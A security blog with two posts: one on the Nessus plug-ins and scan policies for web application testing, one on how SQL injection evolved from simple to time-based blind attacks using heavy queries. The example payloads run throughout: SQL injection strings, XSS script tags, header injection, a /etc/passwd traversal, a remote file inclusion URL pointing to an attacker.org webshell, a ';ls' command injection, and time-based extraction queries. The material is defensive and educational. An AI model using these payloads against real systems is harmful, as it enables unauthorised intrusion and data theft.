Securebits Blog

Nessus, ranked the first among the top 100 security tools, has been known traditionally as a “network” vulnerability scanner. Nessus scans Operating Systems and services at the TCP/UDP layer and below, and discovers vulnerabilities in these services. Nessus has not been known to scan the applications running on top of TCP/UDP layer. Scanning and discovering vulnerabilities in Web Applications have been left to specialized scanners which only scan and pen-test web applications.

Recently, the Nessus research team has extended the capability of Nessus to start targeting Web Applications. The research is still going on to produce effective plug-ins and parameters for enhancing the capability of scanning Web Applications. Now, there is a Nessus plug-in for every web application vulnerability class; the following is a list of these vulnerability classes along with references to their corresponding Nessus plug-ins:

1. SQL Injection Vulnerability Class
Plug-in Name: sql_injection.nasl
Plug-in Family: CGI abuses

This plug-in tests for SQL Injection vulnerabilities. It tries to insert abnormal data into any input field the user has access to, and checks whether the application returns any unexpected error. For example, inserting data such as “ or 1=1;-- or ‘or ‘a’ =’a could actually return an error or break the application if it is vulnerable to SQL Injection.

2. Cross-Site Scripting (XSS) Vulnerability Class
Plug-in Name: torture_cgi_cross_site_scripting.nasl
Plug-in Family: CGI abuses : XSS

This plug-in tests for both reflective and persistent XSS vulnerabilities. Just like the previous test (i.e. SQL Injection), this test involves inserting abnormal data into input fields and monitor how the application behaves. Simple examples of XSS injection are:
(a) <script>alert('XSS')</script>
(b) <IMG """><SCRIPT>alert("XSS" )</SCRIPT>">

3. HTTP Header Injection Vulnerability Class
Plug-in Name: torture_cgi_header_injection.nasl
Plug-in Family: CGI abuses

This plug-in injects arbitrary data in the input fields of the web application and monitors the HTTP headers of the responses. If the response header could be influenced by the arbitrary injected data, it is said that the application is vulnerable to HTTP Header injection. For example, let’s say that the “username” sent from an input field becomes part of the cookie set by the server; this cookie will be part of the HTTP response. We can insert in the username field the following data: myname\r\nSet-Cookie: MyInjectedCookie=injected If the server is vulnerable to HTTP Header Injection, the HTTP header in the response will contain an additional entry which will create a new (injected) cookie in the user’s browser.

4. Path Traversal Vulnerability Class
Plug-in Name: torture_cgi_directory_traversal.nasl
Plug-in Family: CGI abuses

This plug-in discovers whether the web application is vulnerable to a path traversal vulnerability. Path Traversal (or Directory Traversal) happens when the end user (probable an attacker) is able to get outside the permitted used web directory and start navigating through directories which he/she is not allowed to navigate. For example, under normal circumstances, the end user cannot access the file /etc/passwd on the web server. However, if the web server is vulnerable to a Directory Traversal, inserting data like ../../../../../../../../../etc/passwd in an input field could result in the attacker being able to view the passwd file.

5. Remote File Inclusion Vulnerability Class
Plug-in Name: torture_cgi_remote_file_inclusion.nasl
Plug-in Family: CGI abuses

A web application is said to be vulnerable to File Inclusion when the attacker is able to execute (i.e. include) his/her own PHP code in that remote web application. The attack exploits the PHP function include($filename) , or other similar functions, when the argument $filename can be modified from the client side and there is no proper checking on the server side. For example, the application might display a page requested by the URL:
http:// www .example.com/index.php?page=validpagename
The PHP code that processes the page variable is:
include($page);
The attacker can run his/her own php code using a URL like this:
http:// www .example.com/index.php?page=http://attacker.org/webshell.php

6. Command Execution Vulnerability Class
Plug-in Name: torture_cgi_command_exec.nasl
Plug-in Family: CGI abuses

Command Execution Vulnerability allows the attacker to execute arbitrary commands on the remote web server due to the lack of proper input validation. For example, an application that takes an IP address from the user and performs “ping” quest towards that target might use a URL like:
http:// www .example.org/index.php?ip=1.1.1.1
The PHP code that processes this URL might be the following:
system(“ping $ip");
Due to the lack of input validation, an attacker can execute any command like:
http:// www .example.org/index.php?ip=1.1.1.1;ls

For scanning web applications, two Nessus plug-in Families must be selected: “CGI Abuses” and “CGI Abuses: XSS.” These two families contain all plug-ins related to web application penetration test including the 6 plug-ins mentioned above. It is also recommended to select other plug-in families like “Database” and “FTP” since normally a web application needs a database for storage and an FTP so that the administrator can remotely update the files.

I created following downloadable Nessus file <webapps.nessus> which contains three policies for web application testing; each policy is defined by its level of aggressiveness as follows:

(1) Web Application Test (level 1)
- This policy is the least aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, General, Service Detection, and Web Servers.
- This policy has the option “Safe Checks” enabled; this option will make sure that the scan does not cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests and Send POST requests

(2) Web Application Test (level 2)
- This policy is moderately aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, FTP, Gain a Shell Remotely, Gain Root Remotely, General, Service Detection, and Web Servers.
- This policy has the option “Safe Checks” enabled; this option will make sure that the scan does not cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests and Send POST requests

(3) Web Application Test (level 3)
- This policy is the most aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, FTP, Gain a Shell Remotely, Gain Root Remotely, General, Service Detection, and Web Servers.
- This policy does NOT have the option “Safe Checks” enabled; this will cause the scanner to fire dangerous plug-ins that may cause DoS or may cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests, Send POST requests, and Test Embedded Web Servers.

Finally, it is worth mentioning that the Nessus application can integrate Nikto application, a small and fast web server scanner, into its scan. This is done through the plug-in Nikto.nasl that is part of the CGI Abuses family. There are few important point to take into consideration when incorporating Nikto with Nessus:
- The Nikto.nasl only runs on UNIX systems.
- Nikto application must be installed manually by the user.
- The script nikto.pl must be in the PATH of the same account that runs Nessus.

References
1. Enhanced Web Application Attacks Added to Nessus
2. Tips for Using Nessus in Web Application Testing
3. Using Nessus to call Nikto

Security is not about 100% protection, but rather about continuously “raising the bar” to make the attacks more difficult and less feasible. However, as defensive techniques evolve, offensive techniques also evolve. The opposite is also true: as offensive methods improve, defensive methods also improve. This circle whose two poles are offensive and defensive techniques is always running where every pole is pushing the other to a better state.

SQL Injection attack is an example of this; it was as simple as entering [; or 1=1--] to test for the availability of SQL injection vulnerability. Recently, a method called “time-based blind SQL injection using heavy queries” has been populated. This method was introduced at Defcon 16 (2008). The aim of this method is both discovering the SQL injection vulnerability as well as extracting data from SQL tables.

SQL injection attack refers to inserting a valid SQL statement (or partial statement) that is passed unmodified to the application that executes this statement on a SQL Database server. The way the attacker would know whether the vulnerability exists or not is by seeing the page returned. Once an attacker inserts an input that breaks the SQL statement, the server returns an error, which is then displayed back to the attacker. Not only that, the server can also dump any execution results which makes the attack even easier; the attacker can SELECT whatever data from the database, and it will be displayed back to him/her.

However, what if the server does not show any error message or does not return any data at all except the allowed web page? This is done by many developers and system administrators as a defense method against SQL injection attack. In this case, an attacker cannot know directly if the vulnerability exists and cannot get the results back if the vulnerability indeed exists. The method to circumvent this is called “Blind SQL Injection” and the central theme of this attack is to identify a Boolean behavior. For example, if the SQL statement is executed with a ‘true’ condition, the server displays the home page whereas if the SQL statement results into a ‘false’ condition, the server displays a “wrong password” message. An example of blind SQL injection is the following two statements:

  SELECT user FROM Users WHERE uname = ‘t’ and 1=1

  SELECT user FROM Users WHERE uname = ‘t’ and 1=2

After this identification, the attacker can extract data by continuously sending ‘yes’/’no’ statements. The following example, taken from SQL Injection Cheat Sheet, tries to check the first character of the first table name, and by repeating this statement to check other characters, the attacker can extract valuable data:

  SELECT ID, Username, Email FROM [User]WHERE ID = 1 
  AND ISNULL (ASCII(SUBSTRING((SELECT TOP 1 name 
  FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN
  (SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),
  1,1)),0)>78--

Now, what if there is no Boolean behavior? What if the server returns the same page (or error message) all the time and the attacker cannot see any difference between different injected inputs? Blind SQL injection evolved to “Time-based Blind SQL Injection.” Instead of identifying a binary behavior, the attacker injects SQL statements with “wait” commands, the syntax of which is dependent on the SQL Database version. This command will instruct the SQL server to wait (i.e. sleep) for a period of time (e.g. 10 seconds). If, after injecting the SQL statements, the response is delayed for that period of time, the injected statement has executed successfully. Next, such behavior would be used to extract data. The attacker inserts a “wait” command within a condition, if the condition is true, the response is delayed for a period of time; and when the response is false, the response is returned immediately. The following statement checks the first bit of the first byte of the current database; if it is 1, the condition is ‘true’ and the server will pause for five seconds:

  declare @s varchar(8000) select @s = db_name() 
  if (ascii(substring(@s, 1, 1)) & ( power(2, 
  0))) > 0 waitfor delay '0:0:5'

As a security measure, some administrators disable the ‘wait’ commands; and in this case, the time-based blind SQL injection attack won’t work. The latest trend in SQL injection is “Time-Based Blind SQL Injection using Heavy Queries.” The idea here is to use heavy queries that take significant time to execute as a substitute of the ‘wait’ commands. As with time-based attack using ‘wait’ commands, the time-based attack using ‘heavy queries’ is used to identify a binary behavior: if the response from the server takes significant time (e.g. 10 seconds), the condition is ‘true’ whereas if the response is returned immediately, the condition is ‘false’. The following statement is an example, provided by ‘Chema Alonso’, of Blind SQL injection using heavy queries:

  http:/ /www.informatica64.com/blind2/pista.aspx?
  id_pista=1 and (SELECT count(*) FROM sysusers AS 
  sys1, sysusers as sys2, sysusers as sys3, sysusers 
  AS sys4, sysusers AS sys5, sysusers AS sys6, 
  sysusers AS sys7, sysusers AS sys8)>1 and 300 >
  (select top 1 ascii(substring(name,1,1)) from 
  sysusers)

So, the evolution of SQL injection attacks can be summarized in the following stages:
A. Simple SQL Injection Attack
B. Blind SQL Injection Attack
C. Time-Based Blind SQL Injection Attack
D. Time-Based Blind SQL Injection using Heavy Queries Attack